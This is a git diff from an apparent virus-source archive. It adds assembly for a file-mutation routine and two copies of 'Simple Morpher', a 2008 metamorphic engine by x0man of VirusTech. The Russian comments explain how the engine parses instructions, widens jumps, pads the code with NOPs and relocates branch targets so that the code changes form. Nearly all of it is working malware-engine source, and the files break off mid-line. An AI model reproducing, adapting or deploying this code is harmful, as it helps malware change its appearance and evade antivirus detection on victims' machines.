mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8
|
||||
cmp eax, ebx ; comparee Random number with Filesize
|
||||
jg chrom_dubl_loop1 ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; eax=Pointer to changing part
|
||||
mov [change_byte_offset], eax ; Save the offset
|
||||
|
||||
mov ecx, [map_pointer] ; ecx=Start of file in memory
|
||||
add ecx, [file_size] ; ecx=End of file in memory
|
||||
|
||||
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||
sub ecx, eax ; ecx-=number of bytes to change
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Offset of changing
|
||||
mov edi, [change_byte_offset] ; edi=offset of changing
|
||||
add edi, eax ; edi=Offset after changing
|
||||
|
||||
chrom_dubl_buffer: ; Make a buffer
|
||||
mov al, [esi+ecx] ; al=Value to Replace
|
||||
mov [edi+ecx], al ; Save al
|
||||
loop chrom_dubl_buffer
|
||||
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [change_byte_value] ; ecx=lenght of string to dublicate
|
||||
mov esi, [change_byte_offset] ; From
|
||||
mov edi, [change_byte_offset] ; To
|
||||
add edi, ecx ; Offset of buffer
|
||||
rep movsb
|
||||
|
||||
; invoke MessageBox, 0x0, "Dublication", "Chromosome Mutation", 0x0
|
||||
jmp endofmutation
|
||||
|
||||
|
||||
chrom_inseration:
|
||||
invoke UnmapViewOfFile, [map_pointer] ; Unmap File, as we need to open it with anothe size
|
||||
invoke CloseHandle, [map_handle] ; Close Map-Handle
|
||||
|
||||
call random_number ; Get a random number
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [rand_name_buffer] ; cl=random number
|
||||
and cl, 7 ; cl=0000 0???
|
||||
mov [change_byte_value], cl ; Save the random number
|
||||
|
||||
add ecx, [file_size] ; ecx=New filesize
|
||||
mov [file_size], ecx ; Save new filesize
|
||||
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0
|
||||
mov [map_handle], eax
|
||||
|
||||
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size]
|
||||
mov [map_pointer], eax
|
||||
|
||||
chrom_inser_loop1:
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8
|
||||
cmp eax, ebx ; comparee Random number with Filesize
|
||||
jg chrom_inser_loop1 ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; eax=Pointer to changing part
|
||||
mov [change_byte_offset], eax ; Save the offset
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Offset to get the new part
|
||||
mov edi, rand_name_buffer ; edi=where to save
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [change_byte_value] ; ecx=How many bytes
|
||||
rep movsb ; Save the part.
|
||||
|
||||
chrom_inser_loop2:
|
||||
call random_number ; Renew the random numbers
|
||||
xor eax, eax ; eax=0
|
||||
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
|
||||
mov ebx, [file_size] ; ebx=Filesize
|
||||
sub ebx, 8 ; ebx-=8
|
||||
cmp eax, ebx ; Compare Random number with Filesize
|
||||
jg chrom_inser_loop2 ; If RN>Filesize-8 then get new random number (=place to change)
|
||||
|
||||
add eax, [map_pointer] ; eax=Pointer to changing part
|
||||
mov [change_byte_offset], eax ; Save the offset
|
||||
|
||||
mov ecx, [map_pointer] ; ecx=Start of file in memory
|
||||
add ecx, [file_size] ; ecx=End of file in memory
|
||||
|
||||
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
|
||||
xor eax, eax ; eax=0
|
||||
mov al, [change_byte_value] ; eax=number of bytes to change
|
||||
sub ecx, eax ; ecx-=number of bytes to change
|
||||
|
||||
mov esi, [change_byte_offset] ; esi=Offset of changing
|
||||
mov edi, [change_byte_offset] ; edi=offset of changing
|
||||
add edi, eax ; edi=Offset after changing
|
||||
|
||||
chrom_inser_buffer: ; Make a buffer
|
||||
mov al, [esi+ecx] ; al=Value to Replace
|
||||
mov [edi+ecx], al ; Save al
|
||||
loop chrom_inser_buffer
|
||||
|
||||
mov esi, rand_name_buffer ; esi=source
|
||||
mov edi, [change_byte_offset] ; edi=destination
|
||||
xor ecx, ecx ; ecx=0
|
||||
mov cl, [change_byte_value] ; ecx=length
|
||||
rep movsb ; Write saved part to the new place
|
||||
|
||||
; invoke MessageBox, 0x0, "Inseration", "Chromosome Mutation", 0x0
|
||||
jmp endofmutation
|
||||
|
||||
.end start
|
2812
Engines/Virus.Win32.Ipe32.txt
Normal file
2812
Engines/Virus.Win32.Ipe32.txt
Normal file
File diff suppressed because it is too large
Load Diff
BIN
Engines/Virus.Win32.Kpasm.7z
Normal file
BIN
Engines/Virus.Win32.Kpasm.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Kpasm.English.pdf
Normal file
BIN
Engines/Virus.Win32.Kpasm.English.pdf
Normal file
Binary file not shown.
510
Engines/Virus.Win32.Morpher.a.asm
Normal file
510
Engines/Virus.Win32.Morpher.a.asm
Normal file
@ -0,0 +1,510 @@
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Simple Morpher v.0.1 :
|
||||
; :
|
||||
; x0man © 2008 :
|
||||
; :
|
||||
; http://www.virustech.org/ :
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;-----------------------------------------------------------------------------------------:
|
||||
; :
|
||||
;В Кратце расскажу алгоритм, который у меня реализован. :
|
||||
; :
|
||||
;Есть массив в который заносятся данные о инструкциях :
|
||||
;Одним эллементом массива является: :
|
||||
; :
|
||||
;_OPCODE struct; :
|
||||
; dwOldAddress dd ? ; Старый адрес инструкции (до морфинга) :
|
||||
; dwNewAddress dd ? ; Новый адрес инструкции (после морфинга) :
|
||||
; dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов) :
|
||||
; ; (если инструкция им является) :
|
||||
; dwLength dd ? ; в данном примере эта переменная не используется :
|
||||
; ; Надеюсь вам она пригодиться больше чем мне :) :
|
||||
;_OPCODE ends :
|
||||
; :
|
||||
;В "мой" Первый этап входит :
|
||||
; 1. Парсинг кода, и выделение на каждую инструкцию одного :
|
||||
; эллемента массива, заполняя данные в структуре _OPCODE. :
|
||||
; 2. Расширение кода для будущих изменений (замена коротких прыжков на длинные) :
|
||||
; 3. Если инструкция является прыжком или вызовом, нам нужно :
|
||||
; подсчитать скажем так EIP при выполнении оной. :
|
||||
; 4. И есстественно разбавление кода (инструкцией NOP) :
|
||||
; :
|
||||
;Второй этап :
|
||||
; 1. Проходимся по массиву с описаниями инструкций :
|
||||
; 2. Если инструкция является вызовом, то вычисляем параметр у прыжка :
|
||||
; или вызова, и меняем его на корректный(уже в изменённом коде). :
|
||||
; :
|
||||
; :
|
||||
;Вроде бы всё... для более точных описаний смотрим код! :
|
||||
; :
|
||||
;Дизассемблер длинн инструкций я взял Catchy_32, который можно скачать с :
|
||||
; http://www.wasm.ru, он также прилагается к исходникам в приложении. :
|
||||
; :
|
||||
;GreeTz: :
|
||||
; Osen :
|
||||
; izee [ EOF-Project ] http://eof-project.net/ :
|
||||
; :
|
||||
; tPORt (http://www.tport.org/) :
|
||||
; REVENGE(http://www.revenge-crew.com/) :
|
||||
; TLG (http://tlg.astalavista.ms/) :
|
||||
; TSRh (http://tsrh.org.ua/) :
|
||||
; TPOC (http://vx.netlux.org/tpoc/) :
|
||||
; :
|
||||
; :
|
||||
; Спасибо за внимание! :
|
||||
; :
|
||||
; 10.05.2008 :
|
||||
; x0man [VirusTech] :
|
||||
; http://www.virustech.org :
|
||||
;-----------------------------------------------------------------------------------------:
|
||||
|
||||
.386
|
||||
.model flat, stdcall
|
||||
option casemap :none
|
||||
|
||||
include \MASM32\INCLUDE\windows.inc
|
||||
include \MASM32\INCLUDE\kernel32.inc
|
||||
include \MASM32\INCLUDE\user32.inc
|
||||
|
||||
includelib \MASM32\LIB\kernel32.lib
|
||||
includelib \MASM32\LIB\user32.lib
|
||||
|
||||
; #########################################################################
|
||||
|
||||
_OPCODE struct
|
||||
dwOldAddress dd ? ; Старый адрес инструкции (до морфинга)
|
||||
dwNewAddress dd ? ; Новый адрес инструкции (после морфинга)
|
||||
dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов)
|
||||
; (если инструкция им является)
|
||||
dwLength dd ? ; в данном примере эта переменная не используется
|
||||
; Надеюсь вам она пригодиться больше чем мне :)
|
||||
_OPCODE ends
|
||||
|
||||
; #########################################################################
|
||||
|
||||
.code
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Код для теста :)
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
test_code:
|
||||
@@:
|
||||
jmp @F
|
||||
mov eax, edx
|
||||
pop eax
|
||||
push eax
|
||||
call @F
|
||||
cmp eax, 0
|
||||
jne @B
|
||||
jmp @B
|
||||
add ecx, edx
|
||||
add eax, edx
|
||||
xchg edx, ecx
|
||||
call @B
|
||||
jne @F
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
jne @B
|
||||
ret
|
||||
@@:
|
||||
ret
|
||||
int 3
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::
|
||||
; Подключим дизасм длинн инструкций
|
||||
include Catchy32\Catchy32.inc
|
||||
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция для подсчёта числа, куда должен указывать прыжок|
|
||||
; Пример: dwCurrentAddress - указывает на код |
|
||||
; |
|
||||
; 00000000: 74 30 JE imm8 |
|
||||
; эта функция высчитывает "imm8" |
|
||||
; в нашем примере imm8 = 00000000 + 30 + 2 = 00000032 |
|
||||
; т.е. |
|
||||
; 00000000 - Текущий адрес |
|
||||
; 30 - Параметр |
|
||||
; 2 - Длинна инструкции JE imm8 |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; 00000000: 74 30 JE 00000032 --. |
|
||||
; 00000002: | |
|
||||
; | |
|
||||
; 00000032: <-----° |
|
||||
; Это описание для "положительных" прыжков |
|
||||
; Для отрицательных, попробуйте разобрать сами |
|
||||
; там не сложно ;-) |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|
|
||||
; IN dwCurrentAddress : текущий адрес предпологаемого прыжка |
|
||||
; OUT EAX : Адрес куда прыжок указывает |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
get_jump_address proc dwCurrentAddress : DWORD
|
||||
|
||||
push ecx
|
||||
push edi
|
||||
|
||||
mov edi, dwCurrentAddress
|
||||
mov al, byte ptr [edi]
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; XX imm8
|
||||
cmp al, 070h
|
||||
jl @F
|
||||
cmp al, 07Fh
|
||||
jna @_jump_imm8_
|
||||
|
||||
@@:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
cmp al, 0EBh
|
||||
je @_jump_uncond_imm8_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; 0F XX imm32
|
||||
cmp al, 00Fh
|
||||
jne @F
|
||||
mov ah, byte ptr [edi + 1]
|
||||
cmp ah, 080h
|
||||
jl @F
|
||||
cmp ah, 08Fh
|
||||
jna @_jump_imm32_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; JMP imm32
|
||||
cmp al, 0E9h
|
||||
je @_jump_uncond_imm32_
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; CALL
|
||||
cmp al, 0E8h
|
||||
je @_call_imm32_
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
jmp @_exit_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@_jump_imm8_:
|
||||
@_jump_uncond_imm8_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Короткие прыжки
|
||||
movzx eax, byte ptr [edi + 1]
|
||||
mov cl, al
|
||||
test cl, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_1
|
||||
add edi, eax
|
||||
add edi, 2
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_1:
|
||||
neg al
|
||||
sub al, 2
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
|
||||
@_jump_imm32_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Длинные прыжки
|
||||
mov eax, dword ptr [edi + 2]
|
||||
mov ecx, eax
|
||||
shr ecx, 24d
|
||||
test ecx, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_2
|
||||
add eax, edi
|
||||
add eax, 6
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_2:
|
||||
neg eax
|
||||
sub eax, 6
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
@_jump_uncond_imm32_:
|
||||
@_call_imm32_:
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; JMP imm32 & CALL imm32
|
||||
mov eax, dword ptr [edi + 1]
|
||||
mov ecx, eax
|
||||
shr ecx, 24d
|
||||
test ecx, 10000000b ; isNegative?
|
||||
|
||||
jnz @_neg_3
|
||||
add edi, eax
|
||||
add edi, 5
|
||||
xchg eax, edi
|
||||
jmp @_exit_
|
||||
|
||||
@_neg_3:
|
||||
neg eax
|
||||
sub eax, 5
|
||||
sub edi, eax
|
||||
xchg eax, edi
|
||||
;///////////////////////////////////////
|
||||
@_exit_:
|
||||
|
||||
pop edi
|
||||
pop ecx
|
||||
|
||||
ret
|
||||
get_jump_address endp
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция для поиска в массиве описаний инструкций |
|
||||
; Нового адреса для прыжка.... |
|
||||
; |
|
||||
; IN dwAddress - Адрес прыжка |
|
||||
; IN pOpcodes - Указатель на массив с описаниями опкодов |
|
||||
; OUT EAX - Новый адрес прыжка... |
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
get_new_jump_address proc dwAddress:DWORD, pOpcodes : DWORD
|
||||
push ecx
|
||||
|
||||
assume ecx : ptr _OPCODE
|
||||
mov ecx, pOpcodes
|
||||
mov eax, dwAddress
|
||||
|
||||
@@:
|
||||
cmp [ecx].dwOldAddress, eax
|
||||
je @F
|
||||
add ecx, sizeof _OPCODE
|
||||
cmp [ecx].dwOldAddress, 0
|
||||
jne @B
|
||||
xor eax, eax
|
||||
@@:
|
||||
mov eax, [ecx].dwNewAddress
|
||||
|
||||
pop ecx
|
||||
ret
|
||||
get_new_jump_address endp
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция разбавляет определённый код, инструкцией NOP |
|
||||
; ВАЖНО! Код должен заканчиваться опкодом 0CCh |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; IN dwCodeAddress - Адрес кода для морфинга |
|
||||
; IN dwOutputBuffer - Адрес куда будет занесён проморфленный код |
|
||||
; OUT EAX - Размер проморфленного кода |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
MorphCode proc dwCodeAddress : DWORD, dwOutputBuffer : DWORD
|
||||
local pOpcodes : DWORD
|
||||
local dwTotalCodeSize : DWORD
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; pOpcodes - Указатель на описания опкодов ::
|
||||
; dwOutputBuffer - Проморфленный код ::
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Зарезервируем памяти для массива с описаниям инструкций
|
||||
invoke VirtualAlloc, NULL, 1024*1024, MEM_COMMIT + MEM_RESERVE, PAGE_READWRITE
|
||||
mov pOpcodes, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Обнулим переменную в которую будем заносить
|
||||
; Общий размер кода
|
||||
push 0
|
||||
pop dwTotalCodeSize
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::
|
||||
; Без комментариев
|
||||
assume ecx : ptr _OPCODE
|
||||
mov esi, dwCodeAddress ; Code Address
|
||||
mov edi, dwOutputBuffer ; New Code Address
|
||||
mov ecx, pOpcodes ; array of _OPCODES
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
; Первый этап :::::::::::::::::::::::::::
|
||||
;::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Укажем для первой инструкции её новый адрес что в EDI
|
||||
mov [ecx].dwNewAddress, edi
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Начинаем цикл
|
||||
; Loop 1
|
||||
@_loop_1:
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Узнаем длинну у инструкции
|
||||
; IN ESI == Current Code Offset
|
||||
; OUT EAX == Instruction Length
|
||||
call c_Catchy
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::
|
||||
; Занесём данные в массив с описаниями
|
||||
mov [ecx].dwOldAddress, esi
|
||||
mov [ecx].dwLength, eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Короткие условные прыжки меняем на длинные
|
||||
; Они отличаются от длинных префиксом 00Fh
|
||||
; в начале и +10h к текущему опкоду прыжка
|
||||
; Пример:
|
||||
; Было :00000000: 74 30
|
||||
; 0F +10 30 00 00 00
|
||||
; Стало:00000000: 0F 84 30 00 00 00
|
||||
cmp byte ptr [esi], 070h
|
||||
jl @F
|
||||
cmp byte ptr [esi], 07Fh
|
||||
ja @F
|
||||
push eax
|
||||
mov al, 00Fh
|
||||
stosb
|
||||
|
||||
movzx eax, byte ptr [esi]
|
||||
add eax, 10h
|
||||
stosd
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::
|
||||
; Подсчитаем адрес куда указывает прыжок
|
||||
push esi
|
||||
call get_jump_address
|
||||
|
||||
;::::::::::::::::::::::::
|
||||
; Занесём данные в массив
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
|
||||
pop eax
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Прибавим к общему размеру кода
|
||||
; Длинну 00Fh XXh imm32, т.е. число 6
|
||||
; где XX » [80h..8Fh]
|
||||
add dwTotalCodeSize, 6
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Пропустим перенос маленького прыжка
|
||||
; Переходим к следующей инструкции
|
||||
jmp @_next_inst_
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Меняем...
|
||||
; JMP imm8 -> JMP imm32
|
||||
; Пример
|
||||
; Было : 00000000: EB 33
|
||||
; Стало: 00000000: E9 33 00 00 00
|
||||
cmp byte ptr [esi], 0EBh
|
||||
jne @F
|
||||
push eax
|
||||
|
||||
mov al, 0E9h
|
||||
stosb
|
||||
xor eax, eax
|
||||
stosd
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::
|
||||
; Подсчитаем адрес куда указывает прыжок
|
||||
push esi
|
||||
call get_jump_address
|
||||
|
||||
;::::::::::::::::::::::::
|
||||
; Занесём данные в массив
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
|
||||
pop eax
|
||||
;:::::::::::::::::::::::::::::::
|
||||
; Прибавим к общему размеру кода
|
||||
; Длинну E9 imm32, т.е. число 5
|
||||
add dwTotalCodeSize, 5
|
||||
jmp @_next_inst_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Проверим на JMP imm32
|
||||
cmp byte ptr [esi], 0E9h
|
||||
jne @F
|
||||
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
jmp @_replace_instr_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; Проверим на CALL
|
||||
cmp byte ptr [esi], 0E8h
|
||||
jne @F
|
||||
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
jmp @_replace_instr_
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
@@:
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
; 00Fh XX imm32
|
||||
cmp byte ptr [esi], 00Fh
|
||||
jne @F
|
||||
cmp byte ptr [esi + 1], 080h
|
||||
jl @F
|
||||
cmp byte ptr [esi + 1], 08Fh
|
||||
ja @F
|
||||
push eax
|
||||
push esi
|
||||
call get_jump_address
|
||||
mov [ecx].dwJumpAddress, eax
|
||||
pop eax
|
||||
;::::::::::::::::::::::::::::::::::::
|
||||
|
||||
@@:
|
||||
|
||||
@_replace_instr_:
|
||||
;::::::::::::::::::::::::::::::::::::::::::
|
||||
; Переносим инструкцию в новый буффер.
|
||||
; Этот код выполниться в том случае
|
||||
; Если мы не меняли оригинальные инструкции
|
||||
push esi
|
||||
push ecx
|
||||
|
||||
mov ecx, eax
|
||||
rep movsb
|
||||
|
||||
pop ecx
|
||||
pop e
|
758
Engines/Virus.Win32.Morpher.b.asm
Normal file
758
Engines/Virus.Win32.Morpher.b.asm
Normal file
@ -0,0 +1,758 @@
|
||||
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Simple Morpher v.0.1 :
|
||||
; :
|
||||
; x0man © 2008 :
|
||||
; :
|
||||
; http://www.virustech.org/ :
|
||||
;::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;-----------------------------------------------------------------------------------------:
|
||||
; :
|
||||
;В Кратце расскажу алгоритм, который у меня реализован. :
|
||||
; :
|
||||
;Есть массив в который заносятся данные о инструкциях :
|
||||
;Одним эллементом массива является: :
|
||||
; :
|
||||
;_OPCODE struct; :
|
||||
; dwOldAddress dd ? ; Старый адрес инструкции (до морфинга) :
|
||||
; dwNewAddress dd ? ; Новый адрес инструкции (после морфинга) :
|
||||
; dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов) :
|
||||
; ; (если инструкция им является) :
|
||||
; dwLength dd ? ; в данном примере эта переменная не используется :
|
||||
; ; Надеюсь вам она пригодиться больше чем мне :) :
|
||||
;_OPCODE ends :
|
||||
; :
|
||||
;В "мой" Первый этап входит :
|
||||
; 1. Парсинг кода, и выделение на каждую инструкцию одного :
|
||||
; эллемента массива, заполняя данные в структуре _OPCODE. :
|
||||
; 2. Расширение кода для будущих изменений (замена коротких прыжков на длинные) :
|
||||
; 3. Если инструкция является прыжком или вызовом, нам нужно :
|
||||
; подсчитать скажем так EIP при выполнении оной. :
|
||||
; 4. И есстественно разбавление кода (инструкцией NOP) :
|
||||
; :
|
||||
;Второй этап :
|
||||
; 1. Проходимся по массиву с описаниями инструкций :
|
||||
; 2. Если инструкция является вызовом, то вычисляем параметр у прыжка :
|
||||
; или вызова, и меняем его на корректный(уже в изменённом коде). :
|
||||
; :
|
||||
; :
|
||||
;Вроде бы всё... для более точных описаний смотрим код! :
|
||||
; :
|
||||
;Дизассемблер длинн инструкций я взял Catchy_32, который можно скачать с :
|
||||
; http://www.wasm.ru, он также прилагается к исходникам в приложении. :
|
||||
; :
|
||||
;GreeTz: :
|
||||
; Osen :
|
||||
; izee [ EOF-Project ] http://eof-project.net/ :
|
||||
; :
|
||||
; tPORt (http://www.tport.org/) :
|
||||
; REVENGE(http://www.revenge-crew.com/) :
|
||||
; TLG (http://tlg.astalavista.ms/) :
|
||||
; TSRh (http://tsrh.org.ua/) :
|
||||
; TPOC (http://vx.netlux.org/tpoc/) :
|
||||
; :
|
||||
; :
|
||||
; Спасибо за внимание! :
|
||||
; :
|
||||
; 10.05.2008 :
|
||||
; x0man [VirusTech] :
|
||||
; http://www.virustech.org :
|
||||
;-----------------------------------------------------------------------------------------:
|
||||
|
||||
.386
|
||||
.model flat, stdcall
|
||||
option casemap :none
|
||||
|
||||
include \MASM32\INCLUDE\windows.inc
|
||||
include \MASM32\INCLUDE\kernel32.inc
|
||||
include \MASM32\INCLUDE\user32.inc
|
||||
|
||||
includelib \MASM32\LIB\kernel32.lib
|
||||
includelib \MASM32\LIB\user32.lib
|
||||
|
||||
; #########################################################################
|
||||
|
||||
_OPCODE struct
|
||||
dwOldAddress dd ? ; Старый адрес инструкции (до морфинга)
|
||||
dwNewAddress dd ? ; Новый адрес инструкции (после морфинга)
|
||||
dwJumpAddress dd ? ; Адрес куда должен указывать прыжок(или вызов)
|
||||
; (если инструкция им является)
|
||||
dwLength dd ? ; в данном примере эта переменная не используется
|
||||
; Надеюсь вам она пригодиться больше чем мне :)
|
||||
_OPCODE ends
|
||||
|
||||
; #########################################################################
|
||||
|
||||
.code
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
; Код для теста :)
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
test_code:
|
||||
@@:
|
||||
jmp @F
|
||||
mov eax, edx
|
||||
pop eax
|
||||
push eax
|
||||
call @F
|
||||
cmp eax, 0
|
||||
jne @B
|
||||
jmp @B
|
||||
add ecx, edx
|
||||
add eax, edx
|
||||
xchg edx, ecx
|
||||
call @B
|
||||
jne @F
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0,0,0,0,0
|
||||
jne @B
|
||||
ret
|
||||
@@:
|
||||
ret
|
||||
int 3
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
|
||||
|
||||
|
||||
|
||||
|
||||
;::::::::::::::::::::::::::::::::::
|
||||
; Подключим дизасм длинн инструкций
|
||||
include Catchy32\Catchy32.inc
|
||||
|
||||
|
||||
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; Функция для подсчёта числа, куда должен указывать прыжок|
|
||||
; Пример: dwCurrentAddress - указывает на код |
|
||||
; |
|
||||
; 00000000: 74 30 JE imm8 |
|
||||
; эта функция высчитывает "imm8" |
|
||||
; в нашем примере imm8 = 00000000 + 30 + 2 = 00000032 |
|
||||
; т.е. |
|
||||
; 00000000 - Текущий адрес |
|
||||
; 30 - Параметр |
|
||||
; 2 - Длинна инструкции JE imm8 |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
; 00000000: 74 30 JE 00000032 --. |
|
||||
; 00000002: | |
|
||||
; | |
|
||||
; 00000032: <-----° |
|
||||
; Это описание для "положительных" прыжков |
|
||||
; Для отрицательных, попробуйте разобрать сами |
|
||||
; там не сложно ;-) |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::|:::|
|
||||
; IN dwCurrentAddress : текущий адрес предпологаемого прыжка |
|
||||
; OUT EAX : Адрес куда прыжок указывает |
|
||||
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::|
|
||||
